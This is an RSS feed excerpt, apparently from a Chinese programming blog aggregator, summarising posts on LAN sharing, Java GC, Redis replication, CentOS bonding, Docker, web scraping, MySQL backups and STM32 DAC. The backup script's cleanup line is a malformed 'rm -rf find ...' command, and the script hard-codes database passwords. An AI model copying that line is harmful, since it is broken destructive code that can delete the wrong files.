搭建局域网时，需要主机与节点机在同一个网段下，可将主机网段编号为1，节点机从2开始依次往后编号。&#xA;以下是主机IP设置的步骤，主机IP地址设置为192.168.1.1，子网掩码设置为255.255.255.0（节点机除IP地址最后一位进行更改外，其余与主机保持一致）&#xA;确定后即完成主机A的IP地址设置，节点机B的IP地址设置为192.168.1.2，其余与主机A保持一致。&#xA;完成IP地址的更改后，可根据CC(smart3D)内业工作站集群的搭建方法与操作步骤中的2.2更改主机与节点机名称，方便识别。&#xA;2.5 磁盘（文件夹）共享设置 如果在第5步时已经有了Everyone的选项，则直接跳到第11步，无需再次添加Everyone。&#xA;根据以上步骤，完成对主机A和主机B的磁盘D的共享设置，以及完成主机A中任务序列文件夹的共享。&#xA;2.6 文件共享查看（检查共享状态） 根据参考资料中博主的方法，本人并没有成功观察到共享状态，因此选择另外的方式进行查看。&#xA;（1）利用“Windows+R”的组合键，调出“运行”窗口；&#xA;（2）在“运行”窗口中输入目标电脑的IP地址，比如主机A为“\192.168.1.1”，注意“\”的输入。&#xA;之后便可进入主机A查看共享的磁盘及文件夹了。&#xA;换IP后可进入节点机B查看共享的磁盘及文件夹。&#xA;若此时提示无访问权限，则需要返回步骤2.2进行安全权限的设置。&#xA;若能访问A、B共享的磁盘及文件，则成功完成共享。&#xA;2.7 网络位置的设置 每次使用“运行”台加IP地址的方式进行访问会十分繁琐，因此需要将网络位置固定在窗口上，便于访问。&#xA;注意在第4步的时候，需要具体到被共享的磁盘或文件夹。&#xA;完成后在“网络位置”的栏目中会出现共享的磁盘及文件夹，可以快速进行访问。&#xA;以上步骤完成了共享文件（局域网）的设置，之后可利用CC进行集群计算了。&#xA;3 ContextCapture集群设置 主要设置为任务序列的位置、工程文件的位置、影像读取的位置，需要注意的是，以上位置均要使用网络位置&#xA;3.1 ContextCapture Center Settings设置 主机A与节点机B中均需要进行此项设置，且输入的路径一致。&#xA;复制网络路径后，粘贴到本节第二张图片中的红框位置即可。</description>
    </item>
    <item>
      <title>垃圾回收器CMS和G1</title>
      <link>https://bchobby.github.io/posts/bac4f4a35f54ea7e0c00a1321fff0d40/</link>
      <pubDate>Thu, 07 Jul 2022 17:13:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bac4f4a35f54ea7e0c00a1321fff0d40/</guid>
      <description>文章目录 CMS与三色标记算法CMS收集器三色标记算法(重点)结语 G1收集器G1的堆内存算法G1回收流程G1的GC模式 CMS与三色标记算法 CMS（Concurrent Mark Sweep）是一款里程碑式的垃圾收集器，为什么这么说呢？因为在它之前，GC线程和用户线程是无法同时工作的，即使是Parallel Scavenge，也不过是GC时开启多个线程并行回收而已，GC的整个过程依然要暂停用户线程，即Stop The World。这带来的后果就是Java程序运行一段时间就会卡顿一会，降低应用的响应速度，这对于运行在服务端的程序是不能被接收的。&#xA;GC时为什么要暂停用户线程？&#xA;首先，如果不暂停用户线程，就意味着期间会不断有垃圾产生，永远也清理不干净。&#xA;其次，用户线程的运行必然会导致对象的引用关系发生改变，这就会导致两种情况：漏标和错标。&#xA;漏标&#xA;原本不是垃圾，但是GC的过程中，用户线程将其引用关系修改，导致GC Roots不可达，成为了垃圾。这种情况还好一点，无非就是产生了一些浮动垃圾，下次GC再清理就好了。&#xA;错标&#xA;原本是垃圾，但是GC的过程中，用户线程将引用重新指向了它，这时如果GC一旦将其回收，将会导致程序运行错误。&#xA;针对这些问题，CMS是如何解决的呢？它是如何做到GC线程和用户线程并发工作的呢？&#xA;CMS收集器 CMS收集器是⼀种以获取最短回收停顿时间为⽬标的收集器。它⽽⾮常符合在注重⽤户体验的应⽤上使⽤。&#xA;CMS收集器是HotSpot虚拟机第⼀款真正意义上的并发收集器，它第⼀次实现了让垃圾收集线程与⽤户线程（基本上）同时⼯作。&#xA;Concurrent Mark Sweep，从名字上就可以看出来，这是一款采用「标记清除」算法的垃圾收集器，它运行的示意图大概如下：&#xA;大概可分为四个主要步骤：&#xA;1、初始标记&#xA;初始标记仅仅只是标记一下GC Roots能直接关联到的对象，速度很快。初始标记的过程是需要触发STW的，不过这个过程非常快，而且初试标记的耗时不会因为堆空间的变大而变慢，是可控的，因此可以忽略这个过程导致的短暂停顿。&#xA;2、并发标记&#xA;并发标记就是将初始标记的对象进行深度遍历，以这些对象为根，遍历整个对象图，这个过程耗时较长，而且标记的时间会随着堆空间的变大而变长。不过好在这个过程是不会触发STW的，用户线程仍然可以工作，程序依然可以响应，只是程序的性能会受到一点影响。因为GC线程会占用一定的CPU和系统资源，对处理器比较敏感。CMS默认开启的GC线程数是：(CPU核心数+3)/4，当CPU核心数超过4个时，GC线程会占用不到25%的CPU资源，如果CPU数不足4个，GC线程对程序的影响就会非常大，导致程序的性能大幅降低。&#xA;3、重新标记&#xA;由于并发标记时，用户线程仍在运行，这意味着并发标记期间，用户线程有可能改变了对象间的引用关系，可能会发生两种情况：一种是原本不能被回收的对象，现在可以被回收了，另一种是原本可以被回收的对象，现在不能被回收了。针对这两种情况，CMS需要暂停用户线程，进行一次重新标记。&#xA;4、并发清理&#xA;重新标记完成后，就可以并发清理了。这个过程耗时也比较长，且清理的开销会随着堆空间的变大而变大。不过好在这个过程也是不需要STW的，用户线程依然可以正常运行，程序不会卡顿，不过和并发标记一样，清理时GC线程依然要占用一定的CPU和系统资源，会导致程序的性能降低。&#xA;CMS收集器的优缺点：&#xA;尽管CMS是一款里程碑式的垃圾收集器，开启了GC线程和用户线程同时工作的先河，但是不管是哪个JDK版本，CMS从来都不是默认的垃圾收集器，究其原因，还是因为CMS不太完美，存在一些缺点。&#xA;1、对处理器敏感&#xA;并发标记、并发清理阶段，虽然CMS不会触发STW，但是标记和清理需要GC线程介入处理，GC线程会占用一定的CPU资源，进而导致程序的性能下降，程序响应速度变慢。CPU核心数多的话还稍微好一点，CPU资源紧张的情况下，GC线程对程序的性能影响非常大。&#xA;2、浮动垃圾&#xA;并发清理阶段，由于用户线程仍在运行，在此期间用户线程制造的垃圾就被称为“浮动垃圾”，浮动垃圾本次GC无法清理，只能留到下次GC时再清理。&#xA;3、并发失败&#xA;由于浮动垃圾的存在，因此CMS必须预留一部分空间来装载这些新产生的垃圾。CMS不能像Serial Old收集器那样，等到Old区填满了再来清理。在JDK5时，CMS会在老年代使用了68%的空间时激活，预留了32%的空间来装载浮动垃圾，这是一个比较偏保守的配置。如果实际引用中，老年代增长的不是太快，可以通过-XX：CMSInitiatingOccupancyFraction参数适当调高这个值。到了JDK6，触发的阈值就被提升至92%，只预留了8%的空间来装载浮动垃圾。&#xA;如果CMS预留的内存无法容纳浮动垃圾，那么就会导致「并发失败」，这时JVM不得不触发预备方案，启用Serial Old收集器来回收Old区，这时停顿时间就变得更长了。&#xA;4、内存碎片&#xA;由于CMS采用的是「标记清除」算法，这就意味这清理完成后会在堆中产生大量的内存碎片。内存碎片过多会带来很多麻烦，其一就是很难为大对象分配内存。导致的后果就是：堆空间明明还有很多，但就是找不到一块连续的内存区域为大对象分配内存，而不得不触发一次Full GC，这样GC的停顿时间又会变得更长。&#xA;针对这种情况，CMS提供了一种备选方案，通过-XX：CMSFullGCsBeforeCompaction参数设置，当CMS由于内存碎片导致触发了N次Full GC后，下次进入Full GC前先整理内存碎片，不过这个参数在JDK9被弃用了。&#xA;三色标记算法(重点) 介绍完CMS垃圾收集器后，我们有必要了解一下，为什么CMS的GC线程可以和用户线程一起工作。&#xA;JVM判断对象是否可以被回收，绝大多数采用的都是「可达性分析」算法，关于这个算法，可以查看笔者以前的文章：大白话理解可达性分析算法。&#xA;从GC Roots开始遍历，可达的就是存活，不可达的就回收。&#xA;CMS将对象标记为三种颜色：&#xA;标记的过程大致如下：&#xA;刚开始，所有的对象都是白色，没有被访问。将GC Roots直接关联的对象置为灰色。遍历灰色对象的所有引用，灰色对象本身置为黑色，引用置为灰色。重复步骤3，直到没有灰色对象为止。结束时，黑色对象存活，白色对象回收。 这个过程正确执行的前提是没有其他线程改变对象间的引用关系，然而，并发标记的过程中，用户线程仍在运行，因此就会产生漏标和错标的情况。&#xA;漏标&#xA;假设GC已经在遍历对象B了，而此时用户线程执行了A.B=null的操作，切断了A到B的引用。&#xA;本来执行了A.B=null之后，B、D、E都可以被回收了，但是由于B已经变为灰色，它仍会被当做存活对象，继续遍历下去。&#xA;最终的结果就是本轮GC不会回收B、D、E，留到下次GC时回收，也算是浮动垃圾的一部分。&#xA;实际上，这个问题依然可以通过「写屏障」来解决，只要在A写B的时候加入写屏障，记录下B被切断的记录，重新标记时可以再把他们标为白色即可。&#xA;错标&#xA;假设GC线程已经遍历到B了，此时用户线程执行了以下操作：</description>
    </item>
    <item>
      <title>小程序自定义导航栏，胶囊对齐解决方案</title>
      <link>https://bchobby.github.io/posts/f6a0fbdaa9b6c58172f4ab3f65ad1a1d/</link>
      <pubDate>Thu, 07 Jul 2022 16:53:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f6a0fbdaa9b6c58172f4ab3f65ad1a1d/</guid>
      <description>小程序胶囊高度组成 获取小程序状态栏，胶囊，导航栏 高度 // 获取状态栏信息 getMenuButtonBound() { let stateHeight = 0; // 接收状态栏高度 const navHeight = wx.getMenuButtonBoundingClientRect().height; // 获取胶囊高度 let top = 0; wx.getSystemInfo({ success(res) { stateHeight = res.statusBarHeight; }, }); top = wx.getMenuButtonBoundingClientRect().top - stateHeight; // 获取top值 console.log(&#39;navHeight&#39;, navHeight); console.log(&#39;top&#39;, top); this.setData({ // navHeight: navHeight + top * 2, // 导航栏高度 navHeight, // 导航栏高度 stateHeight: stateHeight + top, // 状态栏高度 }); }, 这个获取单位是px，之前换算的rpx，不同设备对rpx换算的比率不一样，导致高度有偏差&#xA;wxml代码 &amp;lt;image class=&#34;backgroundtopimage&#34; style=&#34; margin-top: {{stateHeight}}px; height: {{navHeight}}px;line-height: {{navHeight}}px;text-align: center; &#34;</description>
    </item>
    <item>
      <title>centos双网口绑定</title>
      <link>https://bchobby.github.io/posts/51375102620367d92cf5399a08d15187/</link>
      <pubDate>Thu, 07 Jul 2022 16:22:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/51375102620367d92cf5399a08d15187/</guid>
      <description>本文使用得是vmware，centos7.4系统，系统默认是单网卡，需要在开启系统之前添加第二个网卡&#xA;1、关闭网络管理服务&#xA;关闭 NetworkManager 是成功的必要条件&#xA;[root@node-1 ~]# service NetworkManager stop [root@node-1 ~]# systemctl disable NetworkManager 2、修改服务器网卡配置&#xA;创建bond0文件，写入以下配置&#xA;注：在虚拟机环境中，如果网卡1宕掉后不能切到网卡2，&#xA;则将配置文件中 BONDING_OPTS=“mode=6 miimon=100”&#xA;改写为 BONDING_OPTS=“mode=6 miimon=100 fail_over_mac=1”&#xA;fail_over_mac 参数是bond0使用当前活跃网卡mac地址&#xA;[root@node-1 ~]# vi /etc/sysconfig/network-scripts/ifcfg-bond0 TYPE=&#34;bond&#34; BOOTPROTO=&#34;none&#34; NAME=&#34;bond0&#34; DEVICE=&#34;bond0&#34; IPADDR=&#34;192.168.1.100&#34; NETMASK=&#34;255.255.255.0&#34; GATEWAY=&#34;192.168.1.1&#34; DNS1=&#34;8.8.8.8&#34; ONBOOT=&#34;yes&#34; BONDING_OPTS=&#34;mode=6 miimon=100&#34; #mode=6为适配器负载均衡模式，也用过mode=1主备模式 修改eth0配置文件，网卡配置文件名称，是eth，还是em结尾&#xA;[root@node-1 ~]# vi /etc/sysconfig/network-scripts/ifcfg-eth0 TYPE=&#34;Ethernet&#34; BOOTPROTO=&#34;none&#34; NAME=&#34;eth0&#34; DEVICE=&#34;eth0&#34; MASTER=&#34;bond0&#34; SLAVE=&#34;yes&#34; ONBOOT=&#34;yes&#34; 修改eth1配置文件，网卡配置文件名称，是eth，还是em结尾&#xA;[root@node-1 ~]# vi /etc/sysconfig/network-scripts/ifcfg-eth1 TYPE=&#34;Ethernet&#34; BOOTPROTO=&#34;none&#34; NAME=&#34;eth1&#34; DEVICE=&#34;eth1&#34; MASTER=&#34;bond0&#34; SLAVE=&#34;yes&#34; ONBOOT=&#34;yes&#34; 3、重启网卡&#xA;[root@node-1 ~]# service network restart 此时会断网几秒钟</description>
    </item>
    <item>
      <title>redis集群</title>
      <link>https://bchobby.github.io/posts/ecfcacd81e907b413fa144dcd83aaa69/</link>
      <pubDate>Thu, 07 Jul 2022 16:03:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ecfcacd81e907b413fa144dcd83aaa69/</guid>
      <description>1、Redis_主从复制 前期准备&#xA;1.官网下载最新redis-7.0.2.tar.gz&#xA;2.创建目录mkdir opt 把安装包放在这个文件夹底下&#xA;3.解压tar -zxvf redis-7.0.2.tar.gz&#xA;4.复制redis-7.0.2文件夹里面的redis.conf&#xA;5.创建文件夹myredis并把redis.conf复制过来&#xA;6.修改vi redis.conf 后台启动设置daemonize no改成yes&#xA;（1）主从复制是什么 主机数据更新后根据配置和策略， 自动同步到备机的master/slaver机制，Master以写为主，Slave以读为主&#xA;（2）怎么玩：主从复制 1.我们创建三个配置文件:redis6379.conf、redis6380.conf、redis6381.conf&#xA;文件内容以redis6379.conf为例&#xA;include /myredis/redis.conf&#xA;pidfile /var/run/redis_6379.pid&#xA;port 6379&#xA;dbfilename dump6379.rdb&#xA;其他文件配置一样，注意修改里面的端口一一对应上&#xA;:%s/6379/6380这个命令是全局替换。&#xA;2.启动三台redis服务器&#xA;3.查看系统进程，看看三台服务器是否启动&#xA;4.查看三台主机运行情况&#xA;info replication&#xA;打印主从复制的相关信息&#xA;下面可以知道全部都是主还没有配置&#xA;5.配从(库)不配主(库)&#xA;slaveof 在6380和6381上执行: slaveof 127.0.0.1 6379&#xA;配置完毕需要注意的事项：&#xA;在主机上写，在从机上可以读取数据&#xA;在从机上写数据报错&#xA;主机挂掉，重启就行，一切如初&#xA;从机重启需重设：slaveof 127.0.0.1 6379&#xA;（3）常用三招 1.一主二仆&#xA;2. 薪火相传&#xA;3. 反客为主（自动版哨兵模式(sentinel)）&#xA;（4）复制原理  Slave启动成功连接到master后会发送一个sync命令&#xA; Master接到命令启动后台的存盘进程，同时收集所有接收到的用于修改数据集命令， 在后台进程执行完毕之后，master将传送整个数据文件到slave,以完成一次完全同步&#xA; 全量复制：而slave服务在接收到数据库文件数据后，将其存盘并加载到内存中。&#xA; 增量复制：Master继续将新的所有收集到的修改命令依次传给slave,完成同步&#xA; 但是只要是重新连接master,一次完全同步（全量复制)将被自动执行</description>
    </item>
    <item>
      <title>金蝶部署项目</title>
      <link>https://bchobby.github.io/posts/21f1975cdab735c57b9c2462291ea67d/</link>
      <pubDate>Thu, 07 Jul 2022 16:01:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/21f1975cdab735c57b9c2462291ea67d/</guid>
      <description>金蝶部署重要概念&#xA;1、域&#xA;金蝶部署过程中，将domains下的文件夹叫做域，一个域代表一个端口号，一个域只能配置一个端口号，如图所示：(配置域端口的文件：apusic.conf)&#xA;2、应用基础上下文&#xA;应用基础上下文用于配置全局的访问路径。&#xA;以项目为例：&#xA;项目部署文件名为：web-1.0.0，&#xA;在启动金蝶成功后，访问后台接口的路径为：172.31.19.23：8081/web-1.0.0/doc.html。此时，swagger页面能够看到，但接口无法访问&#xA;需要将基础上下文配置成：/再次访问时，后台就可以访问了：&#xA;以上两个配置是根据配置文件进行修改的&#xA;application-dev.yml:&#xA;项目的war包部署在金蝶中间件相关操作&#xA;金蝶服务器的安装路径在“/opt/AAS”，金蝶中间件的安装是由金蝶公司的维护人员进行安装的。&#xA;程序包的部署：&#xA;【步骤1】：将pom.xml的打包方改为war，打包后会出现两种包，一个是文件夹的方式，一个是.War。文件夹方式便于修改配置文件，因此本文采用文件夹方式部署&#xA;【步骤2】：将war包放在金蝶的域目录下，路径为&#xA;“/opt/AAS/domains/ZC/applications”。需要将域端口成后台端口，如图所示：&#xA;【步骤3】：找到“/opt/AAS/domains/ZC/bin”该路径在终端中打开，进行金蝶的启动命令“./startapsic”。&#xA;【步骤4】：第一次部署需要金蝶密码。部署过程可能会有报错。需要根据控制台的提示解决。如果没有报错会显示：成功启动，服务器就绪。&#xA;vnc以及金蝶登录。&#xA;点击vnc以如图所示配置，点击连接出现麒麟可视化界面。&#xA;VNC 账户：xxx 密码：xxxx&#xA;金蝶中间件 地址：172.31.xx.xxxx：8081/admin&#xA;本地部署&#xA;选择应用管理，点击部署应用可实现上传式部署。其中可选择本地应用包部署和服务器应用部署。如下图：&#xA;其中本地应用部署只支持war包的形式。服务器应用部署支持war包和文件夹形式。&#xA;参数修改&#xA;先点击web-1.0.0.war的“参数配置”。&#xA;修改应用基础上下文：/ 点击保存一次即可，等待金蝶重启页面会自动弹出配置成功！然后修改html的参数配置，提示更新成功即可访问8081端口看是否能够登录！&#xA;击完成，war包会自动启动。控制台会显示后台启动的信息。&#xA;遇到的问题&#xA;1、找不到snakeyaml依赖包&#xA;定位：打包文件中包含snakeyaml包，但在上传文件的过程中丢失了。&#xA;解决方案：将snakeyaml包放到“域文件下的lib文件夹”中。这个lib是金蝶自带的，提供放依赖包的地方，只对当前domains下的应用起作用.&#xA;2、上下文冲突&#xA;原因：一个端口只能配置一个/访问目录&#xA;解决方案：&#xA;（1）部署到其他域&#xA;（2）修改代码，包括后台swagger，前台访问后台的代码</description>
    </item>
    <item>
      <title>python 数据结构篇</title>
      <link>https://bchobby.github.io/posts/24b7ef488d72f093cd48ee2fee8ba462/</link>
      <pubDate>Thu, 07 Jul 2022 11:02:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/24b7ef488d72f093cd48ee2fee8ba462/</guid>
      <description>在众多编程语言里，数据结构与算法都可以说是至关重要的基础。但是对于python而言，因为其本身就是用C实现的，其速度和效率本身较低，因而pyhon没有像其他语言那样那么重视数据结构与算法（python最引以为傲的应该是其功能强大而丰富的各种库和模块）。对于很多像我一样的新手小白，时间复杂度似乎也不是硬要求，实现功能就行了。本节我们主要介绍用python实现数据结构。&#xA;对于数据结构，我们将采用以下的思路进行学习：&#xA;一、定义对象、节点&#xA;1.线性结构：&#xA;数组、链表、队列、栈&#xA;2.非线性结构：&#xA;树、堆、图&#xA;二、实现节点之间的互联&#xA;在节点属性中增加指针&#xA;三、对象由某一节点处开始的遍历&#xA;1.线性结构&#xA;1）单向遍历&#xA;2）双向遍历&#xA;2.非线性结构&#xA;1）DFS（深度优先搜索）&#xA;2）BFS（广度优先搜索）&#xA;四、基本操作方法&#xA;1.增加节点&#xA;2.返回节点数量&#xA;3.由遍历结果构建对象&#xA;目录&#xA;一、线性数据结构（一对一）&#xA;1.数组&#xA;1）构造一个数组对象&#xA;2）查找数组信息&#xA;3）删除操作&#xA;4）添加操作&#xA;5）转换操作&#xA;6）文件操作&#xA;7)排序&#xA;2.链表&#xA;1）单向链表&#xA;2）双向链表&#xA;3）双向循环链表&#xA;3.队列（queue模块）&#xA;队列方法：（适用于所有的队列）&#xA;1）FIFO先入先出队列--Queue&#xA;2）LIFO后入先出队列（栈）&#xA;3）优先级队列&#xA;4）双端队列&#xA;二、非线性数据结构&#xA;1.树（一对多）&#xA;1）二叉树&#xA;联动：二叉树与优先级队列--堆&#xA;2）树&#xA;3）森林&#xA;2.图（多对多）&#xA;1）图的分类&#xA;2）图的实现&#xA;邻接矩阵&#xA;邻接表&#xA;十字链表&#xA;邻接多重表&#xA;3）图的算法&#xA;遍历&#xA;最小生成树&#xA;最短路径&#xA;一、线性数据结构（一对一） 1.数组 数组 python使用其内置的模块array实现数组，python的数组就和C语言一样精简而高效。&#xA;1）构造一个数组对象 array.array(typecode[, initializer]) # 例：构造一个空的int类型数组 arr = array(&#39;i&#39;) arr = array(&#39;i&#39;, [0, 1, 2, 3, 4, 6, 7, 8, 9, 100]) 由于python没有对于变量声明的要求，所以在创建数组时需要一个类型代码字符标识该数组的数据类型，这样数组才能像C语言里的数组一样操作。</description>
    </item>
    <item>
      <title>一些常用的文章写作使用方法和技巧</title>
      <link>https://bchobby.github.io/posts/eb0f4ffdb602ac72cfa95b33638fadd8/</link>
      <pubDate>Thu, 07 Jul 2022 10:51:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/eb0f4ffdb602ac72cfa95b33638fadd8/</guid>
      <description>H2O is是液体。&#xA;210 运算结果是 1024.&#xA;插入链接与图片 链接: link.&#xA;图片: 带尺寸的图片: 居中的图片: 居中并且带尺寸的图片: 当然，我们为了让用户更加便捷，我们增加了图片拖拽功能。&#xA;如何插入一段漂亮的代码片 去博客设置页面，选择一款你喜欢的代码片高亮样式，下面展示同样高亮的 代码片.&#xA;// An highlighted block var foo = &#39;bar&#39;; 生成一个适合你的列表 项目 项目 项目 项目1项目2项目3 计划任务 完成任务 创建一个表格 一个简单的表格是这么创建的：&#xA;项目Value电脑$1600手机$12导管$1 设定内容居中、居左、居右 使用:---------:居中&#xA;使用:----------居左&#xA;使用----------:居右&#xA;第一列第二列第三列第一列文本居中第二列文本居右第三列文本居左 SmartyPants SmartyPants将ASCII标点字符转换为“智能”印刷标点HTML实体。例如：&#xA;TYPEASCIIHTMLSingle backticks&#39;Isn&#39;t this fun?&#39;‘Isn’t this fun?’Quotes&#34;Isn&#39;t this fun?&#34;“Isn’t this fun?”Dashes-- is en-dash, --- is em-dash– is en-dash, — is em-dash 创建一个自定义列表 Markdown Text-to- HTML conversion tool Authors John Luke 如何创建一个注脚 一个具有注脚的文本。1</description>
    </item>
    <item>
      <title>Ubuntu 20.04 (LTS)安装Docker—且配置阿里镜像加速(使用阿里云文档方式添加)</title>
      <link>https://bchobby.github.io/posts/e88420b494aa0572b81d08a902fdc302/</link>
      <pubDate>Thu, 07 Jul 2022 10:50:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e88420b494aa0572b81d08a902fdc302/</guid>
      <description>首先报上官网地址当然一下顺序也是大体按照官网方式进行的&#xA;Ubuntu安装Docker Docs&#xA;环境条件:&#xA;Ubuntu Impish 21.10Ubuntu Hirsute 21.04Ubuntu Focal 20.04 (LTS)Ubuntu Bionic 18.04 (LTS) Docker Engine is supported on x86_64 (or amd64), armhf, arm64, and s390x architectures.&#xA;卸载旧版本 sudo apt-get remove docker docker-engine docker.io containerd runc 如果apt-get报告没有安装这些软件包，没关系。&#xA;# 以下是没有安装这些软件包的报告 root@azang405:~# sudo apt-get remove docker docker-engine docker.io containerd runc Reading package lists... Done Building dependency tree Reading state information... Done E: Unable to locate package docker E: Unable to locate package docker-engine E: Unable to locate package docker.</description>
    </item>
    <item>
      <title>Android 系统升级遇到的问题</title>
      <link>https://bchobby.github.io/posts/6d855247599a8a4fd570417c8e2ae222/</link>
      <pubDate>Thu, 07 Jul 2022 10:44:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6d855247599a8a4fd570417c8e2ae222/</guid>
      <description> 1. 状态栏高度 发现 Android 11 上 targetSdkVersion 是30时获取状态栏高度为0，低于30获取值正常。。。因此需要使用WindowMetrics适配一下，仅此记录，暂未发现异常&#xA;public static int getStatusBarHeight(Context context) { if (Build.VERSION.SDK_INT &amp;gt;= Build.VERSION_CODES.R) { WindowManager wm = (WindowManager) context.getSystemService(Context.WINDOW_SERVICE); WindowMetrics windowMetrics = wm.getCurrentWindowMetrics(); WindowInsets windowInsets = windowMetrics.getWindowInsets(); Insets insets = windowInsets.getInsetsIgnoringVisibility(WindowInsets.Type.statusBars() | WindowInsets.Type.displayCutout()); return insets.top; } .... } WindowMetrics 是 Android11 新增的类，用于获取窗口边界，同样可以用来获取导航栏高度。 </description>
    </item>
    <item>
      <title>【记录爬虫实战过程】入门学习详细过程·用爬虫实现小说爬取2</title>
      <link>https://bchobby.github.io/posts/34745c8405585fa5ffb58bbacea98a5b/</link>
      <pubDate>Thu, 07 Jul 2022 09:25:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/34745c8405585fa5ffb58bbacea98a5b/</guid>
      <description>文章目录 前言我的扩展1.添加了请求头（headers）：一个/随机2.设置爬取时间间隔3.添加异常处理机制4.多线程爬虫：提高效率5. 补充资料 总结爬取小说的大致步骤1.确定爬取的url地址（分析网页性质&amp;lt;静态/动态&amp;gt;）2.发送请求3.数据解析，得到目标数据3.1 解析目录3.2解析内容3.3 处理内容 4.遇到的问题 前言 要做一个项目，所以先学习熟练应用爬虫。&#xA;在此记录学习过程，供他人参考，也督促自己坚持学习。&#xA;大致路线：&#xA;模仿他人自己练习总结 这是用爬虫实现小说爬取的第一部分，主要是根据别人的例子进行模仿和练习。&#xA;这篇为第二和三部分：自己练习+总结，在原来的基础上进行扩展：添加了请求头、设置爬取时间间隔、添加异常处理机制&#xA;背景：&#xA;已掌握一些基础的相关知识，运行环境为vs code&#xA;需要安装一些爬虫所用的库文件：可以使用pip获取，例如获取request库文件：pip install request&#xA;（如果不知道如何在vscode里面导入python的库可以参考这篇文章 在vscode环境里导入python库（三种方法） | 详细过程）&#xA;我的扩展 1.添加了请求头（headers）：一个/随机 可以通过添加请求头来防反爬，如果不写请求头headers有可能会被封IP。&#xA;在初始化里面加上 self.headers&#xA;#防反爬 self.headers={ &#39;User-Agent&#39;:&#39;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.204 Safari/537.36&#39;, &#39;content-type&#39;:&#39;charst=uft8&#39; #设置接收数据的编码格式 } 这里我只写了一个headers来抓到信息，一般来讲，一个请求头就行。&#xA;如果不能，我们可以升级一下，写n个请求头，然后通过随机模块来随机选择一个headers。&#xA;当然，这个做法比较笨。在查阅资料后，我发现python有一个专门的库fake_useragent来生成随机headers（相关资料）&#xA;关于如何在vscode里面导入python的库可以参考这篇文章 在vscode环境里导入python库（三种方法） | 详细过程&#xA;#生成随机headers from fake_useragent import UserAgent 导入库后：&#xA;self.headers={ &#39;User-Agent&#39;:UserAgent().random, &#39;content-type&#39;:&#39;charst=uft8&#39; #设置接收数据的编码格式 } 2.设置爬取时间间隔 很多网站的反爬虫机制都设置了访问间隔时间，一个IP如果短时间内超过了指定的次数就会进入“冷却CD”。&#xA;所以除了轮换IP和user_agent，还可以通过设置访问的时间间隔，比如每抓取一个页面休眠一个随机时间。（不过这个只用来爬小说好像用处不大，这里进行扩展主要是方便以后用于其他爬虫项目）&#xA;需要导入time库&#xA;#设置爬取时间间隔 import time import random #可以设置随机睡眠时间 在主函数的下载部分添加time.</description>
    </item>
    <item>
      <title>定时备份数据库</title>
      <link>https://bchobby.github.io/posts/c894f50074d373cfa4244bb3153c9e70/</link>
      <pubDate>Thu, 07 Jul 2022 09:19:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c894f50074d373cfa4244bb3153c9e70/</guid>
      <description>定时备份数据库 Linux下定时备份数据库 linux下使用crontab定时备份MYSQL数据库的方法&#xA;只需按照下面3步做，一切都在你的掌控之下：&#xA;第一步：在服务器上配置备份目录代码： mkdir /home/bootdo/mysqlbackup &amp;amp;&amp;amp; cd /home/bootdo/mysqlbackup 第二步：编写备份脚本代码： vi dbbackup.sh ##粘帖以下代码，务必更改其中的username,password和dbname。 #!/bin/sh CURRENT_DIR=$( cd &#34;$(dirname &#34;$0&#34;)&#34; pwd ) docker run -v $PWD:/home -e MYSQL_ROOT_PASSWORD=123456 -it --rm mysql:5.7.23 bash -c &#34;mysqldump -uroot -pCobbler1234! -h 192.168.0.229 -P 43306 bootdo | gzip &amp;gt; /home/bootdo-$(date &#34;+%Y-%m-%d-%H:%M:%S&#34;).sql.gz&#34; cd $CURRENT_DIR rm -rf find . -name &#39;*.sql.gz&#39; -mtime 20 #删除20天前的备份文件 第三步：更改备份脚本权限 chmod +x dbbackup.sh 第四步：用crontab定时执行备份脚本代码： crontab -e 若每天晚上凌晨1点备份，添加如下代码&#xA;0 1 * * * /home/bootdo/mysqlbackup/dbbackup.</description>
    </item>
    <item>
      <title>STM32F103DAC输出直流、锯齿波、三角波，正弦波</title>
      <link>https://bchobby.github.io/posts/1adc63d018427ff4c5acca2cd5da30be/</link>
      <pubDate>Wed, 06 Jul 2022 17:56:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1adc63d018427ff4c5acca2cd5da30be/</guid>
      <description>一、DAC基本原则原理 二、 各波形输出及cubeMx设置 1、直流信号 cubeMx配置：&#xA;伪代码： int main(void) { HAL_Init(); SystemClock_Config(); MX_GPIO_Init(); MX_DAC_Init(); HAL_DAC_SetValue(&amp;amp;hdac,DAC_CHANNEL_1,DAC_ALIGN_12_R,248);//248/4096*3.3=0.2V //开启DAC通道1 if(HAL_DAC_Start(&amp;amp;hdac,DAC_CHANNEL_1)!=HAL_OK) { Error_Handler(); } } while(1) { } 实测结果：（手持示波器）&#xA;2、锯齿波 cubeMx配置与上一题一致。&#xA;伪代码：&#xA;int main() { int dacValue; HAL_Init(); SystemClock_Config(); MX_GPIO_Init(); MX_DAC_Init(); while(1) { for(dacValue=o;dacValue&amp;lt;20;dacValue++)//循环次数和波的阶梯化相关，循环次数越多波越光滑 { HAL_DAC_SetValue(&amp;amp;hdac,DAC_CHANNEL_1,DAC_ALIGN_12_R,124*dacValue);//最高2480/4096*3.3=1V //开启DAC通道1 if(HAL_DAC_Start(&amp;amp;hdac,DAC_CHANNEL_1)!=HAL_OK) { Error_Handler(); } HAL_Delay(1);//频率和延时时间以及阶梯数有关 ] } 实测结果：（Vpp有些误差）&#xA;3、定时器2触发DAC产生三角波 型号： Timer2在 APB1总线上&#xA;cubeMx配置：&#xA;伪代码：&#xA;int main() { HAL_Init(); SystemClock_Config(); MX_GPIO_Init(); MX_TIM2_Init(); HAL_TIM_Base_Start(&amp;amp;htim2);//在定时器厨师话函数中添加也可以 MX_DAC_Init(); //配置DHR12RD寄存器，对应波形的最低电压 